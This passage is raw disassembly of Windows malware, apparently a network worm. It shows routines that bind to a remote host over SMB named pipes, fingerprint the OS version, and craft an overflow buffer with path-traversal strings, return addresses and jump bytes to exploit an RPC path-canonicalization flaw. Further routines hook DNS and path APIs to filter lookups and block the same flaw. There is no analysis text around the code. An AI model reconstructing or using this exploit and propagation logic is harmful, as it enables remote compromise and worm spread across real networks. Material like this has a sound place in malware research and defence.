sub_9A97A7+43j call __SEH_epilog retn sub_9A97A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A983B(int, RPC_CSTR NetworkAddr, RPC_CSTR Endpoint) sub_9A983B proc near ; CODE XREF: sub_9A98F7+269p Dst = byte ptr -410h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h StringBinding = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 NetworkAddr = dword ptr 0Ch Endpoint = dword ptr 10h push 400h push offset stru_9A4038 call __SEH_prolog xor esi, esi mov [ebp+var_20], esi mov [ebp+StringBinding], esi lea eax, [ebp+StringBinding] push eax ; StringBinding push esi ; Options push [ebp+Endpoint] ; Endpoint push [ebp+NetworkAddr] ; NetworkAddr push offset ProtSeq ; "ncacn_np" push esi ; ObjUuid call RpcStringBindingComposeA test eax, eax jnz short loc_9A987F push offset Binding ; Binding push [ebp+StringBinding] ; StringBinding call RpcBindingFromStringBindingA cmp eax, esi jz short loc_9A9883 loc_9A987F: ; CODE XREF: sub_9A983B+30j xor eax, eax jmp short loc_9A98F1 ; --------------------------------------------------------------------------- loc_9A9883: ; CODE XREF: sub_9A983B+42j mov [ebp+ms_exc.disabled], esi push 3E8h ; Size push esi ; Val lea eax, [ebp+Dst] push eax ; Dst call memset mov [ebp+var_24], 101h push esi lea eax, [ebp+var_24] push eax push offset asc_9A4030 ; "\\" push 31Fh lea eax, [ebp+Dst] push eax push [ebp+arg_0] push offset aHhdhh ; "HHDHH" call sub_9AED38 add esp, 28h mov [ebp+var_20], 1 jmp short loc_9A98DF ; --------------------------------------------------------------------------- loc_9A98CE: ; DATA XREF: .text:stru_9A4038o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_28], eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A98DC: ; DATA XREF: .text:stru_9A4038o mov esp, [ebp+ms_exc.old_esp] loc_9A98DF: ; CODE XREF: sub_9A983B+91j or [ebp+ms_exc.disabled], 0FFFFFFFFh push offset Binding ; Binding call RpcBindingFree mov eax, [ebp+var_20] loc_9A98F1: ; CODE XREF: sub_9A983B+46j call __SEH_epilog retn sub_9A983B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A98F7(int, void *Src, size_t Size, int, int) sub_9A98F7 proc near ; CODE XREF: sub_9A9BBC+125p NetworkAddr = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 88h mov eax, [ebp+arg_0] mov ecx, eax shr ecx, 18h push ecx movzx ecx, byte ptr [ebp+arg_0+2] push ecx movzx ecx, ah push ecx and eax, 0FFh push eax push offset aD_D_D_D ; "\\\\%d.%d.%d.%d" lea eax, [ebp+NetworkAddr] push 80h ; Count push eax ; Dest call _snprintf add esp, 1Ch push ebx push esi xor edx, edx xor eax, eax mov ecx, 4F8h push edi loc_9A993E: ; CODE XREF: sub_9A98F7+63j mov esi, [ebp+arg_C] cmp ds:dword_9B94F8[eax], esi jnz short loc_9A9954 mov edi, ds:dword_9B94FC[eax] cmp edi, [ebp+arg_10] jz short loc_9A99A0 loc_9A9954: ; CODE XREF: sub_9A98F7+50j add eax, 18h inc edx cmp eax, ecx jb short loc_9A993E xor edx, edx xor eax, eax loc_9A9960: ; CODE XREF: sub_9A98F7+80j cmp ds:dword_9B94F8[eax], esi jnz short loc_9A9971 cmp ds:dword_9B94FC[eax], 9 jz short loc_9A99A0 loc_9A9971: ; CODE XREF: sub_9A98F7+6Fj add eax, 18h inc edx cmp eax, ecx jb short loc_9A9960 xor ebx, ebx loc_9A997B: ; CODE XREF: sub_9A98F7+B3j test ebx, ebx jz short loc_9A9999 cmp [ebp+Size], 190h ja short loc_9A9999 push 262h ; dwBytes call sub_9AB746 mov edi, eax test edi, edi pop ecx jnz short loc_9A99AC loc_9A9999: ; CODE XREF: sub_9A98F7+86j ; sub_9A98F7+8Fj xor eax, eax jmp loc_9A9B72 ; --------------------------------------------------------------------------- loc_9A99A0: ; CODE XREF: sub_9A98F7+5Bj ; sub_9A98F7+78j lea ebx, [edx+edx*2] lea ebx, ds:9B94F8h[ebx*8] jmp short loc_9A997B ; --------------------------------------------------------------------------- loc_9A99AC: ; CODE XREF: sub_9A98F7+A0j push 2 ; Size push offset asc_9A4030 ; "\\" push edi ; Dst call memcpy add esp, 0Ch lea esi, [edi+2] mov [ebp+var_4], 1F4h loc_9A99C6: ; CODE XREF: sub_9A98F7+F4j call rand and al, 1 shl al, 5 or al, 41h mov byte ptr [ebp+arg_0+3], al call rand push 1Ah cdq pop ecx idiv ecx add dl, byte ptr [ebp+arg_0+3] mov [esi], dl inc esi dec [ebp+var_4] jnz short loc_9A99C6 push [ebp+Size] ; Size lea eax, [edi+66h] push [ebp+Src] ; Src push eax ; Dst call memcpy push 0Eh ; Size lea eax, [edi+1F6h] push offset a____ ; "\\..\\..\\" push eax ; Dst call memcpy lea eax, [edi+204h] mov word ptr [eax], 41h add esp, 18h inc eax inc eax and [ebp+arg_0], 0 mov [ebp+var_8], eax lea eax, [edi+206h] mov esi, 206h mov [ebp+var_4], eax loc_9A9A34: ; CODE XREF: sub_9A98F7+15Cj ; sub_9A98F7+172j call rand cdq push 19h pop ecx idiv ecx mov ecx, [ebp+var_8] lea eax, [edx+42h] mov edx, [ebp+var_4] cmp ecx, edx mov [edx], ax jnb short loc_9A9A5C loc_9A9A50: ; CODE XREF: sub_9A98F7+163j cmp [ecx], ax jz short loc_9A9A34 inc ecx inc ecx cmp ecx, [ebp+var_4] jb short loc_9A9A50 loc_9A9A5C: ; CODE XREF: sub_9A98F7+157j inc [ebp+arg_0] add [ebp+var_4], 2 inc esi inc esi cmp [ebp+arg_0], 6 jb short loc_9A9A34 mov dword ptr [esi+edi], 20408h add esi, 4 cmp [ebp+arg_C], 6 jz loc_9A9B14 cmp [ebp+arg_C], 7 jz loc_9A9B14 mov eax, [ebx+0Ch] and [ebp+var_8], 0 test eax, eax jnz short loc_9A9A97 loc_9A9A94: ; CODE XREF: sub_9A98F7+224j mov eax, [ebx+8] loc_9A9A97: ; CODE XREF: sub_9A98F7+19Bj mov [esi+edi], eax add esi, 4 lea eax, [esi+46h] cmp esi, eax mov [ebp+arg_0], esi jnb short loc_9A9AC7 loc_9A9AA7: ; CODE XREF: sub_9A98F7+1CEj call rand cdq push 1Ah pop ecx idiv ecx mov eax, [ebp+arg_0] add dl, 41h inc [ebp+arg_0] mov [eax+edi], dl lea eax, [esi+46h] cmp [ebp+arg_0], eax jb short loc_9A9AA7 loc_9A9AC7: ; CODE XREF: sub_9A98F7+1AEj add esi, edi cmp [ebp+var_8], 0 jz short loc_9A9B20 lea eax, [ebx+8] mov ecx, [eax] mov [esi], ecx mov ecx, [eax] mov [esi+4], ecx mov ecx, [eax] mov [esi+8], ecx mov ecx, [eax] mov [esi+0Ch], ecx mov eax, [eax] mov [esi+10h], eax mov eax, [ebx+0Ch] mov [esi+14h], eax mov eax, [ebx+14h] mov [esi+18h], eax mov eax, [ebx+10h] mov [esi+38h], eax mov eax, [ebx+10h] mov [esi+3Ch], eax mov byte ptr [esi+40h], 0EBh mov byte ptr [esi+41h], 2 mov byte ptr [esi+44h], 0EBh mov byte ptr [esi+45h], 58h jmp short loc_9A9B4E ; --------------------------------------------------------------------------- loc_9A9B14: ; CODE XREF: sub_9A98F7+182j ; sub_9A98F7+18Cj mov [ebp+var_8], 1 jmp loc_9A9A94 ; --------------------------------------------------------------------------- loc_9A9B20: ; CODE XREF: sub_9A98F7+1D6j mov eax, [ebx+8] push 8 ; Size mov [esi+4], eax lea eax, [esi+32h] push offset dword_9A4054 ; Src push eax ; Dst call memcpy add esp, 0Ch mov byte ptr [esi+3Ah], 0EBh cmp dword ptr [ebx+0Ch], 0 setnz al lea eax, ds:5Ah[eax*8] mov [esi+3Bh], al loc_9A9B4E: ; CODE XREF: sub_9A98F7+21Bj and word ptr [esi+46h], 0 push offset dword_9A4044 ; Endpoint lea eax, [ebp+NetworkAddr] push eax ; NetworkAddr push edi ; int call sub_9A983B push edi ; lpMem mov esi, eax call sub_9AB75A add esp, 10h mov eax, esi loc_9A9B72: ; CODE XREF: sub_9A98F7+A4j pop edi pop esi pop ebx leave retn sub_9A98F7 endp ; =============== S U B R O U T I N E ======================================= sub_9A9B77 proc near ; CODE XREF: sub_9A9BBC+70p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 1BDh ; netshort push [esp+4+arg_0] ; int call sub_9AE3FA cmp eax, 0FFFFFFFFh pop ecx pop ecx jz short loc_9A9BB9 dec eax dec eax jz short loc_9A9BAD dec eax jz short loc_9A9BA9 dec eax jz short loc_9A9BA5 dec eax jz short loc_9A9BA1 dec eax jnz short loc_9A9BB9 push 7 loc_9A9B9E: ; CODE XREF: sub_9A9B77+2Cj ; sub_9A9B77+30j ... pop eax jmp short loc_9A9BAF ; --------------------------------------------------------------------------- loc_9A9BA1: ; CODE XREF: sub_9A9B77+20j push 6 jmp short loc_9A9B9E ; --------------------------------------------------------------------------- loc_9A9BA5: ; CODE XREF: sub_9A9B77+1Dj push 5 jmp short loc_9A9B9E ; --------------------------------------------------------------------------- loc_9A9BA9: ; CODE XREF: sub_9A9B77+1Aj push 2 jmp short loc_9A9B9E ; --------------------------------------------------------------------------- loc_9A9BAD: ; CODE XREF: sub_9A9B77+17j xor eax, eax loc_9A9BAF: ; CODE XREF: sub_9A9B77+28j mov ecx, [esp+arg_4] mov [ecx], eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9BB9: ; CODE XREF: sub_9A9B77+13j ; sub_9A9B77+23j xor eax, eax retn sub_9A9B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch ; int __cdecl sub_9A9BBC(u_long netlong, void *Src, size_t Size) sub_9A9BBC proc near ; CODE XREF: sub_9AC5BB+D8p ; sub_9AC789+B5p Name = byte ptr -188h VersionInformation= _OSVERSIONINFOA ptr -124h var_90 = word ptr -90h NetworkAddr = byte ptr -88h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 netlong = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 188h push ebx mov ebx, [ebp+6Ch+netlong] push esi mov esi, _snprintf mov eax, ebx shr eax, 18h push eax movzx eax, byte ptr [ebp+6Ch+netlong+2] push eax movzx eax, bh push eax mov eax, ebx and eax, 0FFh push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" lea eax, [ebp+6Ch+NetworkAddr] push 80h ; Count push eax ; Dest call esi ; _snprintf push ebx ; netlong mov [ebp+6Ch+var_9], 0 call sub_9A8DB4 add esp, 20h test eax, eax jnz loc_9A9D10 or [ebp+6Ch+var_4], 0FFFFFFFFh push ebx ; netlong call sub_9AEF58 movzx eax, ax test eax, eax pop ecx mov [ebp+6Ch+var_8], eax jz loc_9A9D10 lea eax, [ebp+6Ch+var_4] push eax push ebx call sub_9A9B77 test eax, eax pop ecx pop ecx jz loc_9A9D10 lea eax, [ebp+6Ch+NetworkAddr] push eax call sub_9A9744 pop ecx push 2 pop ebx cmp [ebp+6Ch+var_4], ebx jnz loc_9A9CD2 lea eax, [ebp+6Ch+NetworkAddr] push offset Endpoint ; Endpoint push eax ; NetworkAddr call sub_9A97A7 test eax, eax pop ecx pop ecx jnz short loc_9A9CD2 push edi push 26h pop ecx mov [ebp+6Ch+VersionInformation.dwOSVersionInfoSize], 9Ch lea edi, [ebp+6Ch+VersionInformation.dwMajorVersion] rep stosd lea eax, [ebp+6Ch+VersionInformation] push eax ; lpVersionInformation call GetVersionExA cmp [ebp+6Ch+VersionInformation.dwMajorVersion], 5 push 6 pop edi jnz short loc_9A9CAD cmp [ebp+6Ch+VersionInformation.dwMinorVersion], 1 jnz short loc_9A9CB8 cmp [ebp+6Ch+var_90], bx jbe short loc_9A9CA7 push 8 jmp short loc_9A9CB7 ; --------------------------------------------------------------------------- loc_9A9CA7: ; CODE XREF: sub_9A9BBC+E5j jnz short loc_9A9CB8 mov edi, ebx jmp short loc_9A9CB8 ; --------------------------------------------------------------------------- loc_9A9CAD: ; CODE XREF: sub_9A9BBC+D6j cmp [ebp+6Ch+VersionInformation.dwMajorVersion], edi jb short loc_9A9CB8 push 7 loc_9A9CB7: ; CODE XREF: sub_9A9BBC+E9j pop edi loc_9A9CB8: ; CODE XREF: sub_9A9BBC+DFj ; sub_9A9BBC:loc_9A9CA7j ... call rand cdq push 0Ah pop ecx idiv ecx xor eax, eax cmp edx, edi setl al pop edi add eax, 3 mov [ebp+6Ch+var_4], eax loc_9A9CD2: ; CODE XREF: sub_9A9BBC+8Fj ; sub_9A9BBC+A7j push [ebp+6Ch+var_8] ; int push [ebp+6Ch+var_4] ; int push [ebp+6Ch+Size] ; Size push [ebp+6Ch+Src] ; Src push [ebp+6Ch+netlong] ; int call sub_9A98F7 lea eax, [ebp+6Ch+NetworkAddr] push eax push offset aSIpc_0 ; "\\\\%s\\IPC$" lea eax, [ebp+6Ch+Name] push 100h ; Count push eax ; Dest call esi ; _snprintf add esp, 24h push 1 ; fForce push 0 ; dwFlags lea eax, [ebp+6Ch+Name] push eax ; lpName call WNetCancelConnection2A loc_9A9D10: ; CODE XREF: sub_9A9BBC+4Cj ; sub_9A9BBC+65j ... pop esi pop ebx add ebp, 6Ch leave retn sub_9A9BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A9D17(wchar_t *Str) sub_9A9D17 proc near ; CODE XREF: sub_9A9D72+Fp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h Str = dword ptr 8 push 0Ch push offset stru_9A4098 call __SEH_prolog mov [ebp+var_1C], 1 xor esi, esi mov [ebp+ms_exc.disabled], esi cmp [ebp+Str], esi jz short loc_9A9D65 push offset a__ ; "\\..\\" push [ebp+Str] ; Str call wcsstr pop ecx pop ecx test eax, eax jnz short loc_9A9D59 push [ebp+Str] ; Str call wcslen pop ecx cmp eax, 0C8h jbe short loc_9A9D65 loc_9A9D59: ; CODE XREF: sub_9A9D17+2Fj mov [ebp+var_1C], esi jmp short loc_9A9D65 ; --------------------------------------------------------------------------- loc_9A9D5E: ; DATA XREF: .text:stru_9A4098o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9D62: ; DATA XREF: .text:stru_9A4098o mov esp, [ebp+ms_exc.old_esp] loc_9A9D65: ; CODE XREF: sub_9A9D17+1Bj ; sub_9A9D17+40j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn sub_9A9D17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_9A9D72(wchar_t *Str, int, int, int, int, int) sub_9A9D72 proc near ; DATA XREF: sub_9AA482+5o Str = dword ptr 8 push ebp mov ebp, esp cmp ds:lpAddress, 0 jz short loc_9A9D96 push [ebp+Str] ; Str call sub_9A9D17 test eax, eax pop ecx jz short loc_9A9D96 mov eax, ds:lpAddress add eax, 4 pop ebp jmp eax ; --------------------------------------------------------------------------- loc_9A9D96: ; CODE XREF: sub_9A9D72+Aj ; sub_9A9D72+17j push 57h ; dwErrCode call SetLastError push 57h pop eax pop ebp retn 18h sub_9A9D72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A9DA5 proc near ; CODE XREF: sub_9A9DD2+3Ep ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset stru_9A40A8 call __SEH_prolog mov eax, [ebp+arg_0] and [ebp+ms_exc.disabled], 0 mov cl, [eax] or cl, 70h mov [eax], cl jmp short loc_9A9DC8 ; --------------------------------------------------------------------------- loc_9A9DC1: ; DATA XREF: .text:stru_9A40A8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9DC5: ; DATA XREF: .text:stru_9A40A8o mov esp, [ebp+ms_exc.old_esp] loc_9A9DC8: ; CODE XREF: sub_9A9DA5+1Aj or [ebp+ms_exc.disabled], 0FFFFFFFFh call __SEH_epilog retn sub_9A9DA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A9DD2 proc near ; DATA XREF: sub_9AA49F+5o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, ds:dword_9BA150 test eax, eax jz short loc_9A9E1B push esi push [ebp+arg_10] add eax, 4 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax ; dword_9BA154 cmp [ebp+arg_4], 22h mov esi, eax jnz short loc_9A9E16 cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_9A9E16 cmp [ebp+arg_8], 0 jz short loc_9A9E16 cmp [ebp+arg_C], 0 jz short loc_9A9E16 push [ebp+arg_8] call sub_9A9DA5 pop ecx loc_9A9E16: ; CODE XREF: sub_9A9DD2+27j ; sub_9A9DD2+2Dj ... mov eax, esi pop esi jmp short loc_9A9E1E ; --------------------------------------------------------------------------- loc_9A9E1B: ; CODE XREF: sub_9A9DD2+Aj push 57h pop eax loc_9A9E1E: ; CODE XREF: sub_9A9DD2+47j pop ebp retn 14h sub_9A9DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A9E22(char *lpFirst) sub_9A9E22 proc near ; CODE XREF: sub_9A9E5D+Fp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h lpFirst = dword ptr 8 push 0Ch push offset stru_9A40B8 call __SEH_prolog xor eax, eax mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], eax cmp [ebp+lpFirst], eax jz short loc_9A9E50 push [ebp+lpFirst] ; lpFirst call sub_9A8D37 pop ecx mov [ebp+var_1C], eax jmp short loc_9A9E50 ; --------------------------------------------------------------------------- loc_9A9E49: ; DATA XREF: .text:stru_9A40B8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9E4D: ; DATA XREF: .text:stru_9A40B8o mov esp, [ebp+ms_exc.old_esp] loc_9A9E50: ; CODE XREF: sub_9A9E22+17j ; sub_9A9E22+25j or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn sub_9A9E22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_9A9E5D(char *lpFirst, int, int, int, int, int) sub_9A9E5D proc near ; DATA XREF: sub_9AA4BC+9o lpFirst = dword ptr 8 push ebp mov ebp, esp cmp ds:dword_9BA154, 0 jz short loc_9A9E81 push [ebp+lpFirst] ; lpFirst call sub_9A9E22 test eax, eax pop ecx jnz short loc_9A9E81 mov eax, ds:dword_9BA154 add eax, 4 pop ebp jmp eax ; --------------------------------------------------------------------------- loc_9A9E81: ; CODE XREF: sub_9A9E5D+Aj ; sub_9A9E5D+17j push 5B4h ; dwErrCode call SetLastError mov eax, 5B4h pop ebp retn 18h sub_9A9E5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A9E95(LPCSTR lpMultiByteStr) sub_9A9E95 proc near ; CODE XREF: sub_9A9F18+Fp WideCharStr = word ptr -31Ch First = byte ptr -11Ch var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h lpMultiByteStr = dword ptr 8 push 30Ch push offset stru_9A40C8 call __SEH_prolog xor edi, edi mov [ebp+var_1C], edi mov [ebp+ms_exc.disabled], edi cmp [ebp+lpMultiByteStr], edi jz short loc_9A9F0B mov esi, 100h push esi ; cchWideChar lea eax, [ebp+WideCharStr] push eax ; lpWideCharStr push 0FFFFFFFFh ; cbMultiByte push [ebp+lpMultiByteStr] ; lpMultiByteStr push edi ; dwFlags push 0FDE9h ; CodePage call MultiByteToWideChar test eax, eax jz short loc_9A9F0B push edi ; lpUsedDefaultChar push edi ; lpDefaultChar push esi ; cbMultiByte lea eax, [ebp+First] push eax ; lpMultiByteStr push 0FFFFFFFFh ; cchWideChar lea eax, [ebp+WideCharStr] push eax ; lpWideCharStr push edi ; dwFlags push edi ; CodePage call WideCharToMultiByte test eax, eax jz short loc_9A9F0B lea eax, [ebp+First] push eax ; lpFirst call sub_9A8D37 pop ecx mov [ebp+var_1C], eax jmp short loc_9A9F0B ; --------------------------------------------------------------------------- loc_9A9F04: ; DATA XREF: .text:stru_9A40C8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9F08: ; DATA XREF: .text:stru_9A40C8o mov esp, [ebp+ms_exc.old_esp] loc_9A9F0B: ; CODE XREF: sub_9A9E95+1Aj ; sub_9A9E95+3Cj ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn sub_9A9E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_9A9F18(LPCSTR lpMultiByteStr, int, int, int, int, int) sub_9A9F18 proc near ; DATA XREF: sub_9AA4BC+23o lpMultiByteStr = dword ptr 8 push ebp mov ebp, esp cmp ds:dword_9BA158, 0 jz short loc_9A9F3C push [ebp+lpMultiByteStr] ; lpMultiByteStr call sub_9A9E95 test eax, eax pop ecx jnz short loc_9A9F3C mov eax, ds:dword_9BA158 add eax, 4 pop ebp jmp eax ; --------------------------------------------------------------------------- loc_9A9F3C: ; CODE XREF: sub_9A9F18+Aj ; sub_9A9F18+17j push 5B4h ; dwErrCode call SetLastError mov eax, 5B4h pop ebp retn 18h sub_9A9F18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A9F50(LPCWSTR lpWideCharStr) sub_9A9F50 proc near ; CODE XREF: sub_9A9FAE+Fp First = byte ptr -11Ch var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h lpWideCharStr = dword ptr 8 push 10Ch push offset stru_9A40D8 call __SEH_prolog xor eax, eax mov [ebp+ms_exc.disabled], eax cmp [ebp+lpWideCharStr], eax jz short loc_9A9FA1 push eax ; lpUsedDefaultChar push eax ; lpDefaultChar push 100h ; cbMultiByte lea ecx, [ebp+First] push ecx ; lpMultiByteStr push 0FFFFFFFFh ; cchWideChar push [ebp+lpWideCharStr] ; lpWideCharStr push eax ; dwFlags push eax ; CodePage call WideCharToMultiByte test eax, eax jz short loc_9A9FA1 lea eax, [ebp+First] push eax ; lpFirst call sub_9A8D37 pop ecx mov [ebp+var_1C], eax jmp short loc_9A9FA1 ; --------------------------------------------------------------------------- loc_9A9F9A: ; DATA XREF: .text:stru_9A40D8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9F9E: ; DATA XREF: .text:stru_9A40D8o mov esp, [ebp+ms_exc.old_esp] loc_9A9FA1: ; CODE XREF: sub_9A9F50+17j ; sub_9A9F50+36j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh xor eax, eax inc eax call __SEH_epilog retn sub_9A9F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_9A9FAE(LPCWSTR lpWideCharStr, int, int, int, int, int) sub_9A9FAE proc near ; DATA XREF: sub_9AA4BC+3Ao lpWideCharStr = dword ptr 8 push ebp mov ebp, esp cmp ds:dword_9BA15C, 0 jz short loc_9A9FD2 push [ebp+lpWideCharStr] ; lpWideCharStr call sub_9A9F50 test eax, eax pop ecx jnz short loc_9A9FD2 mov eax, ds:dword_9BA15C add eax, 4 pop ebp jmp eax ; --------------------------------------------------------------------------- loc_9A9FD2: ; CODE XREF: sub_9A9FAE+Aj ; sub_9A9FAE+17j push 5B4h ; dwErrCode call SetLastError mov eax, 5B4h pop ebp retn 18h sub_9A9FAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A9FE6 proc near ; CODE XREF: .text:009AA05Cp First = byte ptr -11Ch var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10Ch push offset stru_9A40E8 call __SEH_prolog mov eax, [ebp+arg_0] xor ecx, ecx mov [ebp+var_1C], ecx mov [ebp+ms_exc.disabled], ecx cmp eax, ecx jz short loc_9AA040 mov eax, [eax] cmp eax, ecx jz short loc_9AA040 push ecx ; lpUsedDefaultChar push ecx ; lpDefaultChar push 100h ; cbMultiByte lea edx, [ebp+First] push edx ; lpMultiByteStr push 0FFFFFFFFh ; cchWideChar push eax ; lpWideCharStr push ecx ; dwFlags push ecx ; CodePage call WideCharToMultiByte test eax, eax jz short loc_9AA040 lea eax, [ebp+First] push eax ; lpFirst call sub_9A8D37 pop ecx mov [ebp+var_1C], eax jmp short loc_9AA040 ; --------------------------------------------------------------------------- loc_9AA039: ; DATA XREF: .text:stru_9A40E8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AA03D: ; DATA XREF: .text:stru_9A40E8o mov esp, [ebp+ms_exc.old_esp] loc_9AA040: ; CODE XREF: sub_9A9FE6+1Cj ; sub_9A9FE6+22j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn 4 sub_9A9FE6 endp ; --------------------------------------------------------------------------- loc_9AA04F: ; DATA XREF: sub_9AA4BC+51o cmp ds:dword_9BA160, 0 jz short loc_9AA06F push dword ptr [esp+4] call sub_9A9FE6 test eax, eax jnz short loc_9AA06F mov eax, ds:dword_9BA160 add eax, 4 jmp eax ; --------------------------------------------------------------------------- loc_9AA06F: ; CODE XREF: .text:009AA056j ; .text:009AA063j push 5B4h call SetLastError mov eax, 5B4h retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AA082 proc near ; CODE XREF: sub_9AA29B+12p Dst = dword ptr -244h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 234h push offset stru_9A40F8 call __SEH_prolog xor ebx, ebx mov [ebp+var_1C], ebx mov [ebp+ms_exc.disabled], ebx call GetCurrentProcessId push eax ; th32ProcessID push 8 ; dwFlags call CreateToolhelp32Snapshot mov edi, eax mov [ebp+var_20], edi cmp edi, 0FFFFFFFFh jz short loc_9AA128 mov esi, 224h push esi ; Size push ebx ; Val lea eax, [ebp+Dst] push eax ; Dst call memset add esp, 0Ch mov [ebp+Dst], esi lea eax, [ebp+Dst] push eax ; lpme push edi ; hSnapshot call Module32First jmp short loc_9AA114 ; --------------------------------------------------------------------------- loc_9AA0DC: ; CODE XREF: sub_9AA082+94j mov eax, [ebp+var_230] cmp [ebp+arg_0], eax jb short loc_9AA107 mov ecx, [ebp+var_22C] add ecx, eax cmp [ebp+arg_0], ecx jnb short loc_9AA107 cmp [ebp+arg_4], ebx jz short loc_9AA0FE cmp eax, [ebp+arg_4] jnz short loc_9AA107 loc_9AA0FE: ; CODE XREF: sub_9AA082+75j mov [ebp+var_1C], 1 jmp short loc_9AA118 ; --------------------------------------------------------------------------- loc_9AA107: ; CODE XREF: sub_9AA082+63j ; sub_9AA082+70j ... lea eax, [ebp+Dst] push eax ; lpme push edi ; hSnapshot call Module32Next loc_9AA114: ; CODE XREF: sub_9AA082+58j test eax, eax jnz short loc_9AA0DC loc_9AA118: ; CODE XREF: sub_9AA082+83j push edi ; hObject call CloseHandle jmp short loc_9AA128 ; --------------------------------------------------------------------------- loc_9AA121: ; DATA XREF: .text:stru_9A40F8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AA125: ; DATA XREF: .text:stru_9A40F8o mov esp, [ebp+ms_exc.old_esp] loc_9AA128: ; CODE XREF: sub_9AA082+2Dj ; sub_9AA082+9Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn sub_9AA082 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AA135 proc near ; CODE XREF: sub_9AA1CD+65p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 18h push offset stru_9A4108 call __SEH_prolog xor edi, edi mov [ebp+var_24], edi mov [ebp+ms_exc.disabled], edi mov esi, [ebp+arg_0] add esi, 0Ch mov [ebp+var_1C], esi loc_9AA152: ; CODE XREF: sub_9AA135+95j mov [ebp+var_20], edi loc_9AA155: ; CODE XREF: sub_9AA135+8Bj cmp edi, [ebp+arg_C] jnb short loc_9AA16E mov al, [esi] test al, al jnz short loc_9AA180 mov [ebp+var_24], 1 mov eax, [ebp+arg_8] mov byte ptr [edi+eax], 0 loc_9AA16E: ; CODE XREF: sub_9AA135+23j ; sub_9AA135+5Dj ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_24] call __SEH_epilog retn ; --------------------------------------------------------------------------- loc_9AA180: ; CODE XREF: sub_9AA135+29j movsx ebx, al mov [ebp+var_28], ebx inc esi mov [ebp+var_1C], esi mov eax, esi sub eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_9AA16E push ebx ; Size push esi ; Src mov eax, [ebp+arg_8] add eax, edi push eax ; Dst call memcpy add esp, 0Ch add esi, ebx mov [ebp+var_1C], esi add edi, ebx mov [ebp+var_20], edi 